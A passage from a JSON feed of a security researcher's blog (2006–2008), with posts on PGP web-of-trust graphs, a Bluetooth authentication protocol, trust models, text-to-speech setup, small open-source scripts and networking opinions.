(\u03b5\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7)","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/08\/26\/greek-wot-1\/"}},"updated":"2008-08-26T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/08\/26\/greek-wot-1","content":"<p align=\"center\">\n<a href=\"\/public\/pgp-260808.jpg\"><img src=\"\/public\/pgp-260808-small.jpg\" \/><\/a>\n<\/p>\n"},{"title":"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03bf\u03cd \u03b9\u03c3\u03c4\u03bf\u03cd \u03b5\u03bc\u03c0\u03b9\u03c3\u03c4\u03bf\u03c3\u03cd\u03bd\u03b7\u03c2","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/05\/11\/greek-wot\/"}},"updated":"2008-05-11T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/05\/11\/greek-wot","content":"<p>\u039c\u03b5\u03c4\u03ac \u03c4\u03b7 \u03c3\u03c5\u03bd\u03ac\u03bd\u03c4\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 23 \u0391\u03c0\u03c1\u03b9\u03bb\u03af\u03bf\u03c5 \u03c3\u03c4\u03b7 \u0398\u03b5\u03c3\u03c3\u03b1\u03bb\u03bf\u03bd\u03af\u03ba\u03b7 \u03b1\u03c0\u03bf\u03c6\u03ac\u03c3\u03b9\u03c3\u03b1 \u03bd\u03b1 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03ae\u03c3\u03c9 (\u03ba\u03b1\u03b9\n\u03bd\u03b1 \u03c3\u03c5\u03bd\u03c4\u03b7\u03c1\u03ce) \u03c4\u03b7 \u03b4\u03b9\u03b1\u03b3\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03b9\u03ba\u03ae \u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03bf\u03cd \u03b9\u03c3\u03c4\u03bf\u03cd \u03b5\u03bc\u03c0\u03b9\u03c3\u03c4\u03bf\u03c3\u03cd\u03bd\u03b7\u03c2. \u03a0\u03c1\u03bf\u03c6\u03b1\u03bd\u03ce\u03c2\n\u03c4\u03bf \u03b5\u03b3\u03c7\u03b5\u03af\u03c1\u03b7\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af \u03bc\u03b5\u03b3\u03ac\u03bb\u03bf \u03cc\u03b3\u03ba\u03bf \u03b1\u03c1\u03c7\u03b9\u03ba\u03ce\u03bd \u03b4\u03b5\u03b4\u03bf\u03bc\u03ad\u03bd\u03c9\u03bd \u03ba\u03b1\u03b9 \u03b1\u03c5\u03c4\u03bf\u03bc\u03b1\u03c4\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2\n\u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1\u03c2 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03af\u03b1\u03c2 \u03c4\u03bf\u03c5 \u03b3\u03c1\u03ac\u03c6\u03bf\u03c5. \u03a4\u03b7 \u03b4\u03b5\u03cd\u03c4\u03b5\u03c1\u03b7 \u03b1\u03c0\u03b1\u03af\u03c4\u03b7\u03c3\u03b7 \u03c4\u03b7\u03bd \u03b9\u03ba\u03b1\u03bd\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b1 \u03bc\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c0\u03bb\u03cc\nPerl script \u03bc\u03b5\u03b3\u03ad\u03b8\u03bf\u03c5\u03c2 \u03bc\u03b5\u03c1\u03b9\u03ba\u03ce\u03bd \u03b4\u03b5\u03ba\u03ac\u03b4\u03c9\u03bd \u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03ba\u03ac\u03bd\u03b5\u03b9 \u03c7\u03c1\u03ae\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03c0\u03c1\u03bf\u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03bf\u03c2\n<a href=\"http:\/\/www.chaosreigns.com\/code\/sig2dot\/\">sig2dot.pl<\/a> \u03c9\u03c2 \u03b2\u03b9\u03b2\u03bb\u03b9\u03bf\u03b8\u03ae\u03ba\u03b7.<\/p>\n\n<p>\u0393\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b9\u03ba\u03b1\u03bd\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03ce\u03c4\u03b7\u03c2 \u03b1\u03c0\u03b1\u03af\u03c4\u03b7\u03c3\u03b7\u03c2 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af\u03c4\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03b9\u03c3\u03c6\u03ad\u03c1\u03b5\u03c4\u03b5 \u03c3\u03c4\u03ad\u03bb\u03bd\u03bf\u03bd\u03c4\u03ac\u03c2 \u03bc\u03bf\u03c5 \u03c3\u03c4\u03b7\n\u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 <em>argp at domain cs.tcd.ie<\/em> \u03c4\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c4\u03b7\u03c2 \u03b5\u03bd\u03c4\u03bf\u03bb\u03ae\u03c2\n<code class=\"language-plaintext highlighter-rouge\">gpg --list-sigs &gt; $USER.txt<\/code>.<\/p>\n\n<p>\u039a\u03ac\u03c0\u03bf\u03b9\u03b1 \u03c0\u03c1\u03ce\u03c4\u03b1 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03ad\u03c3\u03bc\u03b1\u03c4\u03b1 \u03c5\u03c0\u03ac\u03c1\u03c7\u03bf\u03c5\u03bd \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9. \u039c\u03af\u03b1 \u03c0\u03c1\u03cc\u03c3\u03c6\u03b1\u03c4\u03b7 PGP \u03c3\u03c5\u03bd\u03ac\u03bd\u03c4\u03b7\u03c3\u03b7 \u03c3\u03c4\u03b7 \u0398\u03b5\u03c3\u03c3\u03b1\u03bb\u03bf\u03bd\u03af\u03ba\u03b7\n\u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bc\u03c6\u03b1\u03bd\u03ae\u03c2 \u03c3\u03c4\u03bf \u03c0\u03ac\u03bd\u03c9 \u03b4\u03b5\u03be\u03b9\u03ac \u03bc\u03ad\u03c1\u03bf\u03c2 \u03c4\u03bf\u03c5 \u03b3\u03c1\u03ac\u03c6\u03bf\u03c5.<\/p>\n\n<p align=\"center\">\n<a href=\"\/public\/pgp-110508.jpg\"><img src=\"\/public\/pgp-110508-small.jpg\" \/><\/a>\n<\/p>\n"},{"title":"Huskarl","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2008\/02\/15\/huskarl\/"}},"updated":"2008-02-15T00:00:00+00:00","id":"https:\/\/argp.github.io\/2008\/02\/15\/huskarl","content":"<p>Huskarl is the product of a final year B.Sc. project that I have co-supervised. \nDragomir Penev has investigated the past and present attacks against \nBluetooth\u2019s authentication and key exchange mechanisms, and has developed \nan alternative solution based on public key cryptography.<\/p>\n\n<p>The new protocol utilizes symmetric and asymmetric cryptography to authenticate \ntwo Bluetooth devices, in a way similar to the very popular Secure Shell (SSH) \nprotocol. There is no dependency on any kind of shared secrets (e.g. PINs), or \nother data exchanged between the devices in plaintext. Symmetric encryption is \nused to reduce the load that a purely asymmetric protocol would have.<\/p>\n\n<p>The detailed message exchanges and a performance analysis of Huskarl can be \nfound in the published paper. In this post I will discuss the choice behind \nHuskarl\u2019s underlying security model, as this was my major contribution to \nthe project.<\/p>\n\n<p>As in the case of the SSH security model, Huskarl avoids reliance on any kind \nof infrastructure in order to introduce previously unknown Bluetooth entities \nby weakening the traditional threat model that assumes a universal omnipresent \nadversary. In Huskarl the bindings between digital identities and public keys \nare established by<\/p>\n\n<ul>\n  <li>assuming that the first time a connection happens no attacker substitutes a \nlegitimate participant\u2019s key with his own, or<\/li>\n  <li>via an out of band channel.<\/li>\n<\/ul>\n\n<p>The first approach makes the protocol vulnerable to man-in-the-middle \nattacks on the first channel establishment between two communicating Bluetooth \nentities. Although initial exchanges constitute a very small percentage of a \nnetwork\u2019s total traffic, there are no guarantees that they will not be \ncompromised. However, in the case that an attacker manages to perform a \nman-in-the-middle attack in an initial exchange between a pair of Bluetooth \ndevices, he then needs to be present in every subsequent channel establishment \nbetween the specific pair. Otherwise, the devices will notice that the public \nkey of the other party has changed and therefore know that either the initial \nor the current exchange has been compromised. The devices can then abort the \ncommunication and remove the offending public key from their key database, or \nact according to some other locally defined policy.<\/p>\n\n<p>The second approach, i.e. the existence of an out of band channel, may \nnot be as far fetched as it initially appears. <a href=\"http:\/\/www.nfc-forum.org\/\">Near Field\nCommunication (NFC)<\/a> is a new very short range\nwireless connectivity protocol that evolved from a combination of existing\ncontactless identification technologies. There are mobile phones currently\navailable on the market that have NFC capabilities, for example the <a href=\"http:\/\/europe.nokia.com\/A4307095\">Nokia\n6131<\/a>. As this, and other similar technologies,\nbecome widely adopted, security protocols operating along the design choices of \nHuskarl will be the preferred choice to other costly and centralized approaches.<\/p>\n\n<p>Huskarl\u2019s prototype implementation was developed on Linux using the BlueZ Bluetooth\nprotocol stack and OpenSSL. It is published under GPLv2 and is\n<a href=\"http:\/\/sourceforge.net\/projects\/huskarl\/\">hosted on SourceForge<\/a>.<\/p>\n"},{"title":"Metakall","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/08\/13\/metakall\/"}},"updated":"2007-08-13T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/08\/13\/metakall","content":"<p>For the past three months I have been doing part-time research and development\nwork for <a href=\"http:\/\/www.metakall.com\/\">Metakall<\/a>, a research commercialization project\nthat was born at the\n<a href=\"http:\/\/ctvr.ie\/\">Centre for Telecommunications Value-Chain Research (CTVR)<\/a>. The main\nidea behind Metakall is that we provide the technology to allow end users to pay\nwireless hotspot operators small amounts of cash in real time for network access.\nInstead of maintaining subscriptions or buying fixed amounts of access, Metakall\nusers dynamically pay just for the network connectivity service they need for a\nsingle VoIP call, or to read their email messages. We are currently conducting an\ninternal to CTVR small scale user trial, with a larger scale user trial with external\nparticipants planned to follow shortly.<\/p>\n\n<p>At the moment I cannot discuss the technical details of our solution due to a pending\npatent application, but I am happy to report that our prototype implementation is fully\nportable. We currently support most Windows flavors (including Windows Mobile and Windows\nCE of course), Linux and Mac OS X. Metakall\u2019s focus on portability constantly gives me the\nopportunity to experiment with various Linux-based devices; from the first generation SIP\nphone Linksys WIP300 that is based on <a href=\"http:\/\/uclinux.org\/\">uClinux<\/a>, to the Nokia 770\nInternet Tablet, to the impressive OpenMoko that I have just started exploring. Strictly\nfrom a developer\u2019s point of view, the Nokia 770 device is currently my favorite platform.\nHowever, the completely open nature and the vision behind OpenMoko is something that greatly\nappeals to me. I eagerly anticipate the second version of the OpenMoko phone (expected this\nOctober) that will add a wireless interface, giving us the means to fully deploy the Metakall\nsoftware on this exciting platform.<\/p>\n"},{"title":"ACM SAC 2008 TRECK track","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/06\/25\/acm-sac-2008-treck-track\/"}},"updated":"2007-06-25T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/06\/25\/acm-sac-2008-treck-track","content":"<p>In direct relation to my previous post; I am involved in the program committee\nof the ACM SAC 2008 TRECK track - the 4th Trust, Recommendations, Evidence and\nother Collaboration Know-how (TRECK) track of the 23rd ACM Symposium on Applied\nComputing. We are interested in original and unpublished research on computational\nmodels of trust and online reputation mechanisms. Specifically, the TRECK track\u2019s\nfocus is on the set of applications that benefit from the use of such technologies.\nTherefore, I believe that it is of particular interest to the open source world,\nboth as an application area in itself (trust-enabled distributed SCM systems as\nalternatives to the strictly centralized models of development would be a very\ninteresting topic of research), and as a highly relevant forum to publish new\nsystems (<a href=\"http:\/\/konfidi.org\/\">Konfidi<\/a> immediately comes to mind as a promising\nexample).<\/p>\n\n<p>The submission deadline is September 8, 2007, which is more than enough, well, if\nnot more than enough then certainly adequate, and the full information regarding\nthe venue, dates and a suggested list of topics of interest can be found at\n<a href=\"http:\/\/www.trustcomp.org\/treck\/\">http:\/\/www.trustcomp.org\/treck\/<\/a>.<\/p>\n"},{"title":"Google as a \"trust authority\"","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/06\/20\/google-as-a-trust-authority\/"}},"updated":"2007-06-20T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/06\/20\/google-as-a-trust-authority","content":"<p>I have recently noticed that I am using Google as a way to avoid phishing \nwebsites when I am making online purchases or doing online banking. As an \nexample, to find Bank of Ireland\u2019s online banking website I avoid to \ndirectly type its URL since I can never remember it and a misspelling would \nmost probably lead me to a fake server. Therefore, I simply google the terms \n<a href=\"https:\/\/www.google.com\/search?num=20&amp;newwindow=1&amp;site=&amp;source=hp&amp;q=365+bank+of+ireland\">\u201c365 bank of\nireland\u201d<\/a>\nand I am certain that the first result would link to the correct website.\nBasically, I am using Google as a \u201ctrust authority\u201d; as an entity that I\ntrust to refer me to the authentic provider I am looking for and not another\nmasquerading as the target provider.<\/p>\n\n<p>In a traditional PKI setting a Certificate Authority (CA) provides a very \nsimilar, in a semantic and not strictly technical sense, service; it gives \nguarantees to a service consumer that the service provider he is about to \ndisclose sensitive information to, is indeed the entity it claims to be. The \nmain difference is that a PKI CA follows a manual way to verify the digital \nidentity of a service provider before it issues an identity certificate (and,\n<a href=\"http:\/\/citeseerx.ist.psu.edu\/viewdoc\/download?rep=rep1&amp;type=pdf&amp;doi=10.1.1.215.1496\">as I have previously\nstudied<\/a>,\nthey cannot really be trusted on this due to mainly cost reasons). On the\nother hand, Google relies on an automated way to map keywords to service\nproviders. <a href=\"https:\/\/en.wikipedia.org\/wiki\/PageRank\">PageRank<\/a> could be modified,\nor a similar algorithm could be developed, to associate public keys to identities, \nand rank them in case more than one keys refer to the same identity based on a \nvariety of factors like the time period the key has been associated with the \ntarget identity, eigenvector centrality, as well as others.<\/p>\n\n<p>Actually, Dimitris Glynos and myself have done some joint research work on \nthe subject and have interesting and encouraging results to share - not to\nmention a full Python implementation of our proposed scheme that we plan to \nrelease as an open source project running on Linux. But this is the topic of \nanother post.<\/p>\n\n<p>I am not saying that Google should be trusted with even more power. What I am \nsaying is that the PKI trust model doesn\u2019t work, particularly as a phishing\ncountermeasure, but also in more general application domains as its limited\nadoption, among other facts, clearly demonstrates, and that we need to \nstudy alternatives.<\/p>\n"},{"title":"Listening to research papers","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/06\/04\/listening-to-research-papers\/"}},"updated":"2007-06-04T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/06\/04\/listening-to-research-papers","content":"<p>A friend recently gave me the nice idea of listening to, instead of reading,\nresearch papers. We both have \u201cto-read\u201d piles that are constantly getting\nbigger, even while following the one-paper-per-day rule. Shortly after she\nmentioned this to me, I started experimenting with\n<a href=\"http:\/\/www.cstr.ed.ac.uk\/projects\/festival\">Festival<\/a>, the excellent open\nsource speech synthesis system. I just needed to <code class=\"language-plaintext highlighter-rouge\">emerge festival<\/code> on my Gentoo\nLinux to get the main engine and <code class=\"language-plaintext highlighter-rouge\">emerge mbrola<\/code> to install some extra\nnatural-sounding voices. I then run\n<code class=\"language-plaintext highlighter-rouge\">echo \"(set! voice_default 'voice_us1_mbrola)\" &gt;&gt; ~\/.festivalrc<\/code> to change the\ndefault male voice to a female one, and\n<code class=\"language-plaintext highlighter-rouge\">echo \"Pizza, pizza.  Pizza, pizza.\" | festival --tts -<\/code> as an initial test.\nThe output was played at double speed. After googling a bit I found the solution\nto this problem in the <a href=\"http:\/\/www.cstr.ed.ac.uk\/cgi-bin\/cstr\/lists.cgi?config=festival_faq&#038;entry=arunning_festival\/speed.html\">Festival\nFAQ<\/a>.<\/p>\n\n<p>To save the output of Festival to an MP3 file I added the following to my<br \/>\n<code class=\"language-plaintext highlighter-rouge\">\/usr\/share\/festival\/siteinit.scm<\/code> file:<\/p>\n\n<figure class=\"highlight\"><pre><code class=\"language-bash\" data-lang=\"bash\"><span class=\"o\">(<\/span>Parameter.set <span class=\"s1\">'Audio_Method '<\/span>Audio_Command<span class=\"o\">)<\/span>\n<span class=\"o\">(<\/span>Parameter.set <span class=\"s1\">'Audio_Required_Rate 11025)\n(Parameter.set '<\/span>Audio_Required_Format <span class=\"s1\">'riff)\n(Parameter.set '<\/span>Audio_Command <span class=\"s2\">\"lame --quiet --preset voice <\/span><span class=\"nv\">$FILE<\/span><span class=\"s2\"> - &gt;&gt; <\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/tmp\/output.mp3\"<\/span><span class=\"o\">)<\/span><\/code><\/pre><\/figure>\n\n<p>Next, I simply converted some PDF papers into plain text using <code class=\"language-plaintext highlighter-rouge\">pdftotext<\/code> and\nfed the output to Festival. Although it is true that not all papers can be fully\nunderstood simply by listening to them, this is a way to save significant\namounts of time when it comes to not particularly important papers that nonetheless\nhave to be read.<\/p>\n"},{"title":"The cost of authentication","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/05\/23\/authentication-cost\/"}},"updated":"2007-05-23T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/05\/23\/authentication-cost","content":"<p>Lately I have focused much of my research efforts on the investigation of \nincorporating economic considerations into the design of network security \ntechnologies, and particularly of authentication mechanisms. As a preliminary \nresult of this work I, along with Robert McAdoo and <a href=\"https:\/\/www.cs.tcd.ie\/Donal.OMahony\/\">Professor Donal \nO\u2019Mahony<\/a>, have written a paper on\ncomparing the costs of three different public key authentication infrastructures.\nOur work has been published at the <a href=\"http:\/\/financialcryptography.com\/mt\/archives\/000815.html\">Workshop on the Economics of Securing the\nInformation Infrastructure<\/a>.\nThe abstract follows (the paper in its entirety is available\n<a href=\"http:\/\/citeseerx.ist.psu.edu\/viewdoc\/download?rep=rep1&amp;type=pdf&amp;doi=10.1.1.215.1496\">here<\/a>):<\/p>\n\n<blockquote>\n  <p>The holy grail of Internet security still remains a global authentication \ninfrastructure that will be able to provide the basis for secure communications \nacross a wide range of network technologies. The failure of Public Key \nInfrastructure (PKI) to fulfill this role clearly demonstrates the complexity \nof the problem and its interdisciplinary nature which transcends technical \ndifficulties and has socioeconomic aspects. In this paper, we focus on the \neconomic dimensions of the problem and perform a comparison of three existing \npublic key authentication infrastructures. Specifically, we present a security \nassessment of the PKI, Identity-Based Encryption (IBE) and Secure Shell (SSH) \nauthentication systems while modelling the economic value exchanges between the \nparticipating actors. Our approach constitutes a step towards the examination \nof the authentication problem in a wider context than just a technical one. \nFinally, we show how this study can help in the design of a solution for secure \ntelecommunications.<\/p>\n<\/blockquote>\n\n<p>The feedback from the reviewers was very encouraging and the presentation at \nthe workshop, which was given by Robert since I didn\u2019t manage to renew my \nvisa in time, successful. I plan to pursue this research topic further and \nultimately develop a framework that can be used to understand the trade-offs \nbetween the violation risks and the (not just monetary) costs related to \nvarious security technologies.<\/p>\n\n<p>If you have any thoughts and\/or suggestions on the topic I would be happy to \nhear them.<\/p>\n"},{"title":"Why I don't like network-layer security systems","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/05\/05\/network-layer-security\/"}},"updated":"2007-05-05T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/05\/05\/network-layer-security","content":"<p>A friend pointed me recently to <a href=\"http:\/\/ciphergoth.livejournal.com\/280821.html\">a blog post<\/a>\nby <a href=\"http:\/\/ciphergoth.livejournal.com\/\">Paul Crowley<\/a> discussing the major popular\ncryptographic standards and some interesting proposals regarding their possible\nreplacement. At some point the question of whether network-layer or transport-layer\nsecurity systems are more appropriate was raised. The following is my opinion after\nalmost six years of research on information security and networking (more or less as\nposted on that blog):<\/p>\n\n<blockquote>\n  <p>There are many reasons to prefer transport-layer to network-layer security.\nNetwork-layer solutions need to be implemented in the operating system kernel making\nthem particularly inconvenient to deploy. Also, IPsec (which for all practical purposes\nis the only network-layer security protocol we have) has been\n<a href=\"http:\/\/www.schneier.com\/paper-ipsec.html\">widely criticized<\/a> for being exceptionally\ncomplex and this fact hinders in depth security evaluations. However, I think that the\nmost important argument against network-layer security is that it violates basic\nnetworking stack architecture principles. When you are doing security management at\nthe network layer it usually means that you lose all the reliability and reassembly\nfeatures provided by the transport layer. To be able to make security decisions\n(like authentication, authorization, etc.) you need to re-implement many TCP features\nthat allow you to assemble packets at the network layer, thus breaking the purpose\nbehind the separation of functionality into layers.<\/p>\n<\/blockquote>\n\n<p>The flexibility provided by IPsec is not a strong enough advantage to break the\nabstraction borders between the different stack layers.<\/p>\n"},{"title":"irssi last.fm now playing script","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/04\/28\/irssi-lastfm\/"}},"updated":"2007-04-28T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/04\/28\/irssi-lastfm","content":"<p>I wrote an <a href=\"http:\/\/www.irssi.org\/\">irssi<\/a> script that displays the most\nrecent <a href=\"http:\/\/www.last.fm\/\">last.fm<\/a> audioscrobbled track. You can find\nit <a href=\"https:\/\/github.com\/argp\/lastfm-irssi\">here<\/a>; it is published under a\n<a href=\"http:\/\/www.opensource.org\/licenses\/bsd-license.php\">BSD-style license<\/a>.<\/p>\n\n<p>The script polls the specified last.fm profile for the most recent\naudioscrobbled track every <code class=\"language-plaintext highlighter-rouge\">$timeout_seconds<\/code> (default is <code class=\"language-plaintext highlighter-rouge\">120<\/code>). The\ntrack is displayed only in the channels specified in the <code class=\"language-plaintext highlighter-rouge\">@channels<\/code>\narray or, if <code class=\"language-plaintext highlighter-rouge\">@channels<\/code> is undefined, in the active window. Be careful\nif you want to change the value of <code class=\"language-plaintext highlighter-rouge\">$timeout_seconds<\/code>; too aggressive\npolling may get your IP blacklisted.<\/p>\n\n<p>Put it in <code class=\"language-plaintext highlighter-rouge\">~\/.irssi\/scripts\/lastfm.pl<\/code>, load it with <code class=\"language-plaintext highlighter-rouge\">\/script load lastfm.pl<\/code>\nand start a new session with <code class=\"language-plaintext highlighter-rouge\">\/lastfm start your_lastfm_username<\/code>.\n<code class=\"language-plaintext highlighter-rouge\">\/lastfm help<\/code> outputs usage details.<\/p>\n\n<p>Suggestions and bug reports are welcome.<\/p>\n"},{"title":"netris hack","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/04\/23\/netris-hack\/"}},"updated":"2007-04-23T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/04\/23\/netris-hack","content":"<p><a href=\"\/public\/netris-0.52-argp-hack.patch\">This patch<\/a> I coded against\n<a href=\"http:\/\/http.debian.net\/debian\/pool\/main\/n\/netris\/netris_0.52.orig.tar.gz\">netris version\n0.52<\/a>\nallows you to send junk rows to your opponent. The default key to do this is <code class=\"language-plaintext highlighter-rouge\">h<\/code>\nand the default number of rows to send is <code class=\"language-plaintext highlighter-rouge\">1<\/code>. You can change the former by\nremapping the keys (with the <code class=\"language-plaintext highlighter-rouge\">-k<\/code> switch) and the latter with the new <code class=\"language-plaintext highlighter-rouge\">-j<\/code> switch\n(see the output of <code class=\"language-plaintext highlighter-rouge\">netris -h<\/code> for more details).<\/p>\n\n<p>Have fun and don\u2019t be too mean.<\/p>\n"},{"title":"pykeynote","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2007\/04\/21\/pykeynote\/"}},"updated":"2007-04-21T00:00:00+00:00","id":"https:\/\/argp.github.io\/2007\/04\/21\/pykeynote","content":"<p>My latest coding project is <a href=\"https:\/\/github.com\/argp\/pykeynote\">pykeynote<\/a>;\na Python extension module for KeyNote. It provides a high-level, object-oriented\ninterface to the <a href=\"http:\/\/www1.cs.columbia.edu\/~angelos\/keynote.html\">KeyNote trust management\nAPI<\/a>. From the KeyNote web page:<\/p>\n\n<blockquote>\n  <p>Trust management is a unified approach to specifying and interpreting security\npolicies, credentials, and relationships; it allows direct authorization of\nsecurity-critical actions. KeyNote credentials describe a specific delegation\nof trust and subsume the role of public key certificates; unlike traditional\ncertificates, which bind keys to names, credentials can bind keys directly to\nthe authorization to perform specific tasks.<\/p>\n<\/blockquote>\n\n<p>For more information on KeyNote see\n<a href=\"https:\/\/tools.ietf.org\/html\/rfc2704\">RFC 2704<\/a>,\n<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=keynote&amp;sektion=1&amp;arch=i386&amp;apropos=0&amp;manpath=OpenBSD+Current\">keynote(1)<\/a>,\n<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=keynote&amp;sektion=3&amp;arch=i386&amp;apropos=0&amp;manpath=OpenBSD+Current\">keynote(3)<\/a>,\n<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=keynote&amp;sektion=4&amp;arch=i386&amp;apropos=0&amp;manpath=OpenBSD+Current\">keynote(4)<\/a>\nand\n<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=keynote&amp;sektion=5&amp;arch=i386&amp;apropos=0&amp;manpath=OpenBSD+Current\">keynote(5)<\/a>.\nAlso, a nice introductory article can be found\n<a href=\"http:\/\/www.crypto.com\/trustmgt\/kn.html\">here<\/a>.<\/p>\n\n<p>Although I have developed <a href=\"https:\/\/github.com\/argp\/pykeynote\">pykeynote<\/a>\non Linux, and minimally tested it on OpenBSD, it will probably work on all\nUnix-like systems that satisfy the following requirements:<\/p>\n\n<ul>\n  <li>Python version 2.3 or higher.<\/li>\n  <li><a href=\"http:\/\/www.cosc.canterbury.ac.nz\/greg.ewing\/python\/Pyrex\/\">Pyrex<\/a>\nversion 0.9.4 or higher (optional).<\/li>\n  <li>The <a href=\"http:\/\/www1.cs.columbia.edu\/~angelos\/keynote.html\">KeyNote trust management system<\/a>\n(tested with version 2.3).<\/li>\n  <li>The <a href=\"http:\/\/www.openssl.org\/\">OpenSSL cryptographic toolkit<\/a>\n(tested with version 0.9.8d).<\/li>\n<\/ul>\n\n<p>For the details you can browse the\n<a href=\"https:\/\/github.com\/argp\/pykeynote\">repository<\/a>;\nI have included a\n<a href=\"https:\/\/github.com\/argp\/pykeynote\/blob\/master\/test.py\">comprehensive testsuite<\/a>\nand a <a href=\"https:\/\/github.com\/argp\/pykeynote\/blob\/master\/sample_app.py\">sample\napplication<\/a>.<\/p>\n"},{"title":"Vint Cerf's talk","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2006\/03\/05\/vint-cerfs-talk\/"}},"updated":"2006-03-05T00:00:00+00:00","id":"https:\/\/argp.github.io\/2006\/03\/05\/vint-cerfs-talk","content":"<p>Last Thursday, March 2nd, <a href=\"http:\/\/www.ibiblio.org\/pioneers\/cerf.html\">Vint Cerf<\/a>\ngave a talk in Dublin. Although it was mainly part of a marketing and recruiting\nevent of Google, it was not something to be missed. How often do you get the\nchance to see and talk to a \u201cfounding father of the TCP\/IP stack\u201d?<\/p>\n\n<p>Fortunately, the talk was fairly technical and Dr Cerf mentioned numerous details\non various decisions they (he and Bob Kahn) had to take during the design of the\nTCP\/IP stack and packet switching networking in general. He explained that his\nmain regret is the decision to not include IP addresses at the TCP layer, something\nthat would have eased multihoming and ultimately mobility at the expense of a\nslightly higher byte overhead. Towards the end of the talk he shared with everyone\nhis obvious passion for space exploration and some highlights of his work on\ninterplanetary network protocols.<\/p>\n"},{"title":"DNS names as mobile phone numbers","link":{"@attributes":{"href":"https:\/\/argp.github.io\/2006\/02\/22\/dns-mobile-phone-numbers\/"}},"updated":"2006-02-22T00:00:00+00:00","id":"https:\/\/argp.github.io\/2006\/02\/22\/dns-mobile-phone-numbers","content":"<p>A few hours ago I found an\n<a href=\"http:\/\/web.archive.org\/web\/20070122183441\/http:\/\/www-128.ibm.com\/developerworks\/wireless\/library\/wi-domain\/?ca=dgr-lnxw06DNS4Cells\">article<\/a>\non <a href=\"http:\/\/www.ibm.com\/developerworks\/\">IBM developerWorks<\/a> proposing the use\nof DNS names on mobile phone networks with the goal of allowing end users to dial\na name instead of a number.<\/p>\n\n<p>The author does not go into any specific engineering details, but to make such a\nsystem scale you would need to introduce some sort of hierarchical DNS structure\nsimilar to the one used in the wired Internet. We should also keep in mind that\nalternative access methods for mobile phone networks, such as 802.11, are quickly\nbecoming widely deployed.<\/p>\n\n<p>All these make it clear, at least to me, that a DNS infrastructure for mobile phone\nnetworks is not a good idea; in my opinion it would create many more problems than\nit would solve. As is the case on the Internet, DNS creates huge security problems\nlike DNS spoofing, cache poisoning, phishing, and others. Introducing the same\nproblems in mobile phone networks does not sound promising without having some very\nclear advantages.<\/p>\n\n<p>No one is really typing numbers anyway. We just select them from a phone number list\nthat operates more or less as a <a href=\"http:\/\/www.erights.org\/elib\/capability\/pnml.html\">petname system<\/a>.\nWhen you want to call someone you look through your list for the petname you have\nassigned to them. When an incoming call arrives the phone displays the petname you\nhave assigned to the person calling you. In both cases the software of the phone\nlocally makes the translation between a user-defined name and a mobile phone number,\nwhich guarantees a certain level of authenticity.<\/p>\n"},{"title":"Windows and Windows CE port of the Stanford IBE 